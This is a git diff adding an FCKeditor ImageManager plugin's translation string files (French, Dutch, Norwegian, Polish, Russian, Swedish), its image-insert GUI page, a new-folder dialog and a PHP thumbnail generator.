+       "Invalid base directory:"                                       : "Répertoire de base invalide:",
+       "Delete file?"                                                                  : "Suppression du fichier ?",
+       "Delete folder?"                                                                : "Suppression du répertoire ?",
+       "Folder Name:"                                                          : "Nom du répertoire:",
+       "No Images Found"                                               : "Aucune image trouvée",
+       "No Image Available"                                            : "Aucune image disponible",
+       "No Image selected."                                            : "Aucune image sélectionnée.",
+       "Color:"                                                                                        : "Couleur:",
+       "Align:"                                                                                        : "Alignement:",
+       "Description:"                                                                  : "Description:",
+       "Margin:"                                                                               : "Marge:",
+       "Padding:"                                                                              : "Espacement:",
+       "Border:"                                                                               : "Bordure:",
+       "Upload:"                                                                               : "Télétransmission:",
+       "File name was changed into "           : "Le nom du fichier a été changé en ",
+       "start x coordinate"                                                    : "début coordonnée x",
+       "start y coordinate"                                                    : "début coordonnée y",
+       "height"                                                                                        : "hauteur",
+       "width"                                                                                 : "longueur",
+       "angle"                                                                                 : "angle",
+       "opacity"                                                                               : "opacité",
+       "diagonal length"                                                       : "longueur diagonale",
+       "Watermarking is disabled."                     : "Filigranes désactivés.",
+       "No watermarks were found or all watermarks are to big for the target image."           : "Aucun filigrane trouvé ou tous les filigranes sont trop grands pour cette image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Veuillez tout d'abord supprimer tous les fichiers et répertoires contenus",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nom de répertoire invalide, veuillez choisir un autre nom",
+       "GIF format is not supported, image editing not supported."                                                             : "Format GIF non supporté, édition d'image non supportée",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Ne FERMEZ PAS CETTE FENETRE pendant l'envoi d'une nouvelle image sinon l'image originale sera quand même supprimée !",
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Erreur: Impossible d'actualiser la fenêtre de l'éditeur.\nL'image qui a été éditée et sauvegardée apparaitra toujours comme non modifiée !\nVeuillez sauvegarder et recharger le contenu de l'éditeur."
+};
diff --git a/fckeditor/editor/plugins/ImageManager/lang/nl.js b/fckeditor/editor/plugins/ImageManager/lang/nl.js
new file mode 100644 (file)
index 0000000..e8fae51
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "nl", ENCODING: UTF-8
+// Author: Paul Moers, http://fckplugins.saulmade.nl
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo",
+       "Replace"                                                                               : "Vervang",
+       "Watermark"                                                                     : "Watermerk",
+       "Image Manager"                                                 : "Afbeelding Beheerder",
+       "Insert Image"                                                          : "Afbeelding invoegen",
+       "Directory"                                                                             : "Folder",
+       "Directory Up"                                                          : "Bovenliggende folder",
+       "New Folder"                                                                    : "Nieuwe folder",
+       "Trash"                                                                                 : "Verwijder",
+       "Edit"                                                                                  : "Bewerk",
+       "Image File"                                                                    : "Afbeelding",
+       "Upload"                                                                                : "Upload",
+       "Width"                                                                                 : "Breedte",
+       "Height"                                                                                        : "Hoogte",
+       "Width:"                                                                                : "Breedte:",
+       "Height:"                                                                               : "Hoogte:",
+       "Constrain Proportions"                                 : "Behoudt verhouding",
+       "Border"                                                                                : "Rand",
+       "V Space"                                                                               : "V Afstand",
+       "H Space"                                                                               : "H Afstand",
+       "Refresh"                                                                               : "Ververs",
+       "Uploading..."                                                                  : "Bezig met uploaden...",
+       "Crop"                                                                                  : "Bijsnijden",
+       "Resize"                                                                                : "Verander grootte",
+       "Rotate"                                                                                : "Roteer",
+       "Measure"                                                                               : "Meet",
+       "Marker"                                                                                : "Markeer",
+       "Save"                                                                                  : "Opslaan",
+       "Filename:"                                                                     : "Bestandsnaam:",
+       "Image Format"                                                          : "Afbeeldingsformaat",
+       "Quality:"                                                                              : "Kwaliteit:",
+       "JPEG High"                                                                     : "JPEG Hoog",
+       "JPEG Medium"                                                           : "JPEG Medium",
+       "JPEG Low"                                                                      : "JPEG Laag",
+       "File saved."                                                                   : "Bestand opgeslagen.",
+       "File was not saved."                                           : "Bestand werd niet opgeslagen.",
+       "Start X:"                                                                              : "Start X:",
+       "Start Y:"                                                                              : "Start Y:",
+       "Lock"                                                                                  : "Sluit",
+       "Flip Image"                                                                    : "Spiegel afbeelding",
+       "Flip Horizontal"                                                               : "Spiegel horizontaal",
+       "Flip Vertical"                                                                 : "Spiegel verticaal",
+       "Rotate Image"                                                          : "Roteer afbeelding",
+       "Rotate 180 °"                                                         : "Roteer 180°",
+       "Rotate 90 ° CW"                                                       : "Roteer 90° rechtsom",
+       "Rotate 90 ° CCW"                                                      : "Roteer 90° linksom",
+       "Angle:"                                                                                        : "Hoek:",
+       "W:"                                                                                            : "B:",
+       "H:"                                                                                            : "H:",
+       "A:"                                                                                            : "H:",
+       "D:"                                                                                            : "D:",
+       "Clear"                                                                                 : "Wis",
+       "Loading"                                                                               : "Bezig met laden",
+       "Invalid base directory:"                                       : "Foutieve basisdirectory:",
+       "Delete file?"                                                                  : "Verwijder bestand?",
+       "Delete folder?"                                                                : "Verwijder folder?",
+       "Folder Name:"                                                          : "Foldernaam:",
+       "No Images Found"                                               : "Geen afbeeldingen gevonden",
+       "No Image Available"                                            : "Geen afbeeldingen beschikbaar",
+       "No Image selected."                                            : "Geen afbeelding geselecteerd.",
+       "Color:"                                                                                        : "Kleur:",
+       "Align:"                                                                                        : "Uitlijnen:",
+       "Description:"                                                                  : "Beschrijving:",
+       "Margin:"                                                                               : "Marge:",
+       "Padding:"                                                                              : "Vulling:",
+       "Border:"                                                                               : "Rand:",
+       "Upload:"                                                                               : "Upload:",
+       "File name was changed into "           : "Bestandsnaam werd veranderd in ",
+       "start x coordinate"                                                    : "start x coördinaat",
+       "start y coordinate"                                                    : "start y coördinaat",
+       "height"                                                                                        : "hoogte",
+       "width"                                                                                 : "breedte",
+       "angle"                                                                                 : "hoek",
+       "opacity"                                                                               : "opacity",
+       "diagonal length"                                                       : "diagonale lengte",
+       "Watermarking is disabled."                     : "Watermarking is disabled.",
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Verwijder a.u.b. eerst alle bestanden en folders in de folder die u wilt verwijderen.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Foutieve foldernaam, kies a.u.b. een andere foldernaam.",
+       "GIF format is not supported, image editing not supported."                                                             : "GIF formaat wordt niet ondersteund, afbeelding bewerken wordt niet ondersteund.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Sluit het venster a.u.b. niet af tijdens het uploaden! Wanneer u toch het venster sluit zal de originele afbeelding verwijderd worden.",
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Fout: Kon het editor scherm niet up-to-date brengen.\nElke bewerkte afbeelding zal nog steeds getoond worden als de oude versie!\nBewaar a.u.b. de editor inhoud en herlaadt."
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/no.js b/fckeditor/editor/plugins/ImageManager/lang/no.js
new file mode 100644 (file)
index 0000000..164f75c
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N constants
+
+// LANG: "no", ENCODING: UTF-8
+// Author: Kim Steinhaug, http://www.steinhaug.com/, kim@steinhaug.com
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Image Manager"                                                 : "Bildebehandler",
+       "Crop"                                                                                  : "Beskjær"
+       // copy strings from other language files to extend translation
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/pl.js b/fckeditor/editor/plugins/ImageManager/lang/pl.js
new file mode 100644 (file)
index 0000000..27c836f
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8
+// Author: Krzysztof Kotowicz, http://www.eskot.krakow.pl/portfolio/, koto@webworkers.pl
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo", // not translated yet
+       "Replace"                                                                               : "Replace ", // not translated yet
+       "Watermark"                                                                     : "Watermark", // not translated yet
+       "Image Manager"                                                 : "Menedżer obrazków",
+       "Insert Image"                                                          : "Wstaw obrazek",
+       "Directory"                                                                             : "Katalog",
+       "Directory Up"                                                          : "Katalog wyżej",
+       "New Folder"                                                                    : "Nowy katalog",
+       "Trash"                                                                                 : "Usuń",
+       "Edit"                                                                                  : "Edytuj",
+       "Image File"                                                                    : "Plik obrazka",
+       "Upload"                                                                                : "Wgraj",
+       "Width"                                                                                 : "Szerokość",
+       "Height"                                                                                        : "Wysokość",
+       "Width:"                                                                                : "Szerokość:",
+       "Height:"                                                                               : "Wysokość:",
+       "Constrain Proportions"                                 : "Zachowaj proporcje",
+       "Border"                                                                                : "Ramka",
+       "V Space"                                                                               : "Odległość V",
+       "H Space"                                                                               : "Odległość H",
+       "Refresh"                                                                               : "Odśwież",
+       "Uploading..."                                                                  : "Wgrywanie...",
+       "Crop"                                                                                  : "Przytnij",
+       "Resize"                                                                                : "Przeskaluj",
+       "Rotate"                                                                                : "Obróć",
+       "Measure"                                                                               : "Zmierz",
+       "Marker"                                                                                : "Zaznacz",
+       "Save"                                                                                  : "Zapisz",
+       "Filename:"                                                                     : "Nazwa pliku:",
+       "Image Format"                                                          : "Format pliku",
+       "Quality:"                                                                              : "Jakość:",
+       "JPEG High"                                                                     : "JPEG wysoka",
+       "JPEG Medium"                                                           : "JPEG średnia",
+       "JPEG Low"                                                                      : "JPEG niska",
+       "File saved."                                                                   : "Zapisano plik.",
+       "File was not saved."                                           : "Nie zapisano pliku.",
+       "Start X:"                                                                              : "Początek X:",
+       "Start Y:"                                                                              : "Początek Y:",
+       "Lock"                                                                                  : "Zablokuj",
+       "Flip Image"                                                                    : "Odwróć",
+       "Flip Horizontal"                                                               : "Odwróć poziomo",
+       "Flip Vertical"                                                                 : "Odwróć pionowo",
+       "Rotate Image"                                                          : "Obróć",
+       "Rotate 180 °"                                                         : "Obróć 180°",
+       "Rotate 90 ° CW"                                                       : "Obróć 90° w prawo",
+       "Rotate 90 ° CCW"                                                      : "Obróć 90° w lewo",
+       "Angle:"                                                                                        : "Kąt:",
+       "W:"                                                                                            : "S:",
+       "H:"                                                                                            : "W:",
+       "A:"                                                                                            : "A:", // not translated yet - (A)ngel
+       "D:"                                                                                            : "D:", // not translated yet - (D)iagonal
+       "Clear"                                                                                 : "Wyczyść",
+       "Loading"                                                                               : "Ładowanie",
+       "Invalid base directory:"                                       : "Nieprawidłowy katalog bazowy:",
+       "Delete file?"                                                                  : "Usunąć plik?",
+       "Delete folder?"                                                                : "Usunąć katalog ?",
+       "Folder Name:"                                                          : "Nazwa katalogu:",
+       "No Images Found"                                               : "Nie znaleziono obrazków",
+       "No Image Available"                                            : "Obrazek niedostępny",
+       "No Image selected."                                            : "Nie zaznaczono obrazka.",
+       "Color:"                                                                                        : "Kolor:",
+       "Align:"                                                                                        : "Wyrównanie:",
+       "Description:"                                                                  : "Opis:",
+       "Margin:"                                                                               : "Margines:",
+       "Padding:"                                                                              : "Wcięcie:",
+       "Border:"                                                                               : "Ramka:",
+       "Upload:"                                                                               : "Wgraj:",
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "height", // not translated yet
+       "width"                                                                                 : "width", // not translated yet
+       "angle"                                                                                 : "angle", // not translated yet
+       "opacity"                                                                               : "opacity", // not translated yet
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Najpierw usuń wszystkie pliki i podkatalogi katalogu.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nieprawidłowa nazwa katalogu, wybierz inną.",
+       "GIF format is not supported, image editing not supported."                                                             : "Brak obsługi plików GIF, edycja jest niemożliwa.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/ru.js b/fckeditor/editor/plugins/ImageManager/lang/ru.js
new file mode 100644 (file)
index 0000000..8ecd9fd
--- /dev/null
@@ -0,0 +1,104 @@
+// I18N constants
+
+// LANG: "ru", ENCODING: UTF-8
+// Author: Andrei Blagorazumov, a@fnr.ru
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Demo"                                                                                  : "Demo", // not translated yet
+       "Replace"                                                                               : "Replace ", // not translated yet
+       "Watermark"                                                                     : "Watermark", // not translated yet
+       "Image Manager"                                                 : "Менеджер картинок",
+       "Insert Image"                                                          : "Вставка картинки",
+       "Directory"                                                                             : "Папка",
+       "Directory Up"                                                          : "Папка наверх",
+       "New Folder"                                                                    : "Новая папка",
+       "Trash"                                                                                 : "Корзина",
+       "Edit"                                                                                  : "Правка",
+       "Image File"                                                                    : "Файл картинки",
+       "Upload"                                                                                : "Загрузить",
+       "Width"                                                                                 : "Ширина",
+       "Height"                                                                                        : "Высота",
+       "Width:"                                                                                : "Ширина:",
+       "Height:"                                                                               : "Высота:",
+       "Constrain Proportions"                                 : "Сохранить пропорции",
+       "Border"                                                                                : "Рамка",
+       "V Space"                                                                               : "Поле V",
+       "H Space"                                                                               : "Поле H",
+       "Refresh"                                                                               : "Обновить",
+       "Uploading..."                                                                  : "Загрузка...",
+       "Crop"                                                                                  : "Обрезать",
+       "Resize"                                                                                : "Масшабировать",
+       "Rotate"                                                                                : "Повернуть",
+       "Measure"                                                                               : "Измерение",
+       "Marker"                                                                                : "Маркер",
+       "Save"                                                                                  : "Сохранить",
+       "Filename:"                                                                     : "Имя файла:",
+       "Image Format"                                                          : "Формат картинки",
+       "Quality:"                                                                              : "Качество:",
+       "JPEG High"                                                                     : "JPEG высок.",
+       "JPEG Medium"                                                           : "JPEG средн.",
+       "JPEG Low"                                                                      : "JPEG низк.",
+       "File saved."                                                                   : "Файл сохранен.",
+       "File was not saved."                                           : "Файл не сохранен.",
+       "Start X:"                                                                              : "Начало X:",
+       "Start Y:"                                                                              : "Начало Y:",
+       "Lock"                                                                                  : "Блокировка",
+       "Flip Image"                                                                    : "Развернуть картинку",
+       "Flip Horizontal"                                                               : "Развернуть по горизонтали",
+       "Flip Vertical"                                                                 : "Развернуть по вертикали",
+       "Rotate Image"                                                          : "Повернуть картинку",
+       "Rotate 180 °"                                                         : "Повернуть на 180°",
+       "Rotate 90 ° CW"                                                       : "Повернуть на 90° по часовой",
+       "Rotate 90 ° CCW"                                                      : "Повернуть на 90° против часовой",
+       "Angle:"                                                                                        : "Угол:",
+       "W:"                                                                                            : "Ш:",
+       "H:"                                                                                            : "В:",
+       "A:"                                                                                            : "A:", //  not translated yet - (A)ngel
+       "D:"                                                                                            : "D:", // not translated yet - (D)iagonal
+       "Clear"                                                                                 : "Очистить",
+       "Loading"                                                                               : "Загрузка",
+       "Invalid base directory:"                                       : "Неверная базовая папка:",
+       "Delete file?"                                                                  : "Удалить файл?",
+       "Delete folder?"                                                                : "Удалить папку?",
+       "Folder Name:"                                                          : "Название папки:",
+       "No Images Found"                                               : "Картинок не найдено",
+       "No Image Available"                                            : "Нет доступных картинок",
+       "No Image selected."                                            : "Картинки не выбраны.",
+       "Color:"                                                                                        : "Цвет:",
+       "Align:"                                                                                        : "Выравнивание:",
+       "Description:"                                                                  : "Description:", // not translated yet
+       "Margin:"                                                                               : "Отступ:",
+       "Padding:"                                                                              : "Поля:",
+       "Border:"                                                                               : "Рамка:",
+       "Upload:"                                                                               : "Upload:", // not translated yet
+       "File name was changed into "           : "File name was changed into ", // not translated yet
+       "start x coordinate"                                                    : "start x coordinate", // not translated yet
+       "start y coordinate"                                                    : "start y coordinate", // not translated yet
+       "height"                                                                                        : "height", // not translated yet
+       "width"                                                                                 : "width", // not translated yet
+       "angle"                                                                                 : "angle", // not translated yet
+       "opacity"                                                                               : "opacity", // not translated yet
+       "diagonal length"                                                       : "diagonal length", // not translated yet
+       "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+       "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Пожалуйста удалите все файлы/папки в папке, которую вы хотите удалить.",
+       "Invalid folder name, please choose another folder name."                                                                       : "Неправильное имя папки, пожалуйста выберите другое.",
+       "GIF format is not supported, image editing not supported."                                                             : "Формат GIF не поддерживается, редактирование картинки не поддерживается.",
+       "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+       "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/lang/sv.js b/fckeditor/editor/plugins/ImageManager/lang/sv.js
new file mode 100644 (file)
index 0000000..64108ab
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N constants
+
+// LANG: "sv", ENCODING: UTF-8
+// Author: Erik Dalén, <dalen@jpl.se>
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Image Manager"                                                 : "Bildbehandlare",
+       "Crop"                                                                                  : "Beskjär"
+       // copy strings from other language files to extend translation
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/manager.php b/fckeditor/editor/plugins/ImageManager/manager.php
new file mode 100644 (file)
index 0000000..3c66994
--- /dev/null
@@ -0,0 +1,151 @@
+<?php
+/**
+ * The main GUI for the ImageManager.
+ * @author Wei Zhuo
+ * @version $Id: manager.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+       require_once('config.inc.php');
+       require_once('Classes/ImageManager.php');
+       
+       $manager = new ImageManager($IMConfig);
+       $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+<title>Insert Image</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link href="assets/manager.css" rel="stylesheet" type="text/css" />    
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       var thumbdir = "<?php echo $IMConfig['thumbnail_dir']; ?>";
+       var base_url = "<?php echo $manager->getBaseURL(); ?>";
+       var server_name = "<?php echo $IMConfig['server_name']; ?>";
+
+       window.resizeTo(900, 500);
+
+       if(window.opener.ImageManager && window.opener.ImageManager.I18N)
+       {
+               I18N = window.opener.ImageManager.I18N;
+       }
+
+       // language object not found?
+       if (!this.I18N)
+       {
+               // Read it now - copy in next script block
+               document.write('<script type="text/javascript" src="lang/' + window.opener._editor_lang + '.js"><\/script>');
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       // now copy the language object of the included script - needed a seperate new script block to be able to do so
+       if (!this.I18N)
+       {
+               I18N = this.ImageManager.I18N;
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript" src="assets/manager.js"></script>
+
+</head>
+
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+       <label for="dirPath">Directory</label>
+       <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+       <option value="/">/</option>
+<?php foreach($dirs as $relative=>$fullpath) { ?>
+               <option value="<?php echo rawurlencode($relative); ?>"><?php echo $relative; ?></option>
+<?php } ?>
+       </select>
+       <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<?php if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+       <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<?php } ?>
+       <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+       <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+       <table class="inputTable">
+               <tr>
+                       <td align="right"><label for="f_url">Image File</label></td>
+                       <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_width">Width</label></td>
+                       <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+                       <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_vert">V Space</label></td>
+                       <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+               </tr>           
+               <tr>
+                       <td align="right"><label for="f_alt">Alt</label></td>
+                       <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+                       <td align="right"><label for="f_height">Height</label></td>
+                       <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+                       <td align="right"><label for="f_horiz">H Space</label></td>
+                       <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+               </tr>
+               <tr>
+<?php if($IMConfig['allow_upload'] == true) { ?>
+                       <td align="right"><label for="upload">Upload</label></td>
+                       <td>
+                               <table cellpadding="0" cellspacing="0" border="0">
+                  <tr>
+                    <td><input type="file" name="upload" id="upload"/></td>
+                    <td>&nbsp;<button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+                  </tr>
+                </table>
+                       </td>
+<?php } else { ?>
+                       <td colspan="2"></td>
+<?php } ?>
+                       <td align="right"><label for="f_align">Align</label></td>
+                       <td colspan="2">
+                               <select size="1" id="f_align"  title="Positioning of this image">
+                                 <option value=""                             >Not Set</option>
+                                 <option value="left"                         >Left</option>
+                                 <option value="right"                        >Right</option>
+                               </select>
+                       </td>
+                       <td align="right"><label for="f_border">Border</label></td>
+                       <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+               </tr>
+               <tr> 
+         <td colspan="4" align="right">
+                               <input type="hidden" id="orginal_width" />
+                               <input type="hidden" id="orginal_height" />
+            <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+          </td>
+          <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+      </tr>
+       </table>
+<!--// image properties -->    
+       <div style="text-align: right;"> 
+          <hr />
+                 <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+          <button type="button" class="buttons" onclick="return onOK();">OK</button>
+          <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+    </div>
+       <input type="hidden" id="f_file" name="f_file" />
+</form>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/newFolder.html b/fckeditor/editor/plugins/ImageManager/newFolder.html
new file mode 100644 (file)
index 0000000..4b7c703
--- /dev/null
@@ -0,0 +1,78 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px;  margin: 0;}
+form .elements{
+       padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+       window.resizeTo(300, 170);
+
+       if(window.opener)
+               I18N = window.opener.I18N;
+
+       init = function () 
+       {
+               __dlg_init();
+               __dlg_translate(I18N);
+               document.getElementById("f_foldername").focus();
+       }
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       }
+
+       function onOK() 
+       {
+                // pass data back to the calling window
+         var fields = ["f_foldername"];
+         var param = new Object();
+         for (var i in fields) {
+               var id = fields[i];
+               var el = document.getElementById(id);
+               param[id] = el.value;
+         }
+         __dlg_close(param);
+         return false;
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+       
+       addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+       <label for="f_foldername">Folder Name:</label>
+       <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;"> 
+         <hr />
+         <button type="button" class="buttons" onclick="return onOK();">OK</button>
+         <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/thumbs.php b/fckeditor/editor/plugins/ImageManager/thumbs.php
new file mode 100644 (file)
index 0000000..c736490
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author Wei Zhuo
+ * @version $Id: thumbs.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+       exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+       exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+       {
+               header('Location: '.$default);
+               exit();
+       }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+        header('Location: '.$manager->getFileURL($image));
+        exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+       //if the thumbnail is newer, send it
+       if(filemtime($thumbnail) >= filemtime($fullpath))
+       {
+               header('Location: '.$manager->getThumbURL($image));
+               exit();
+       }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
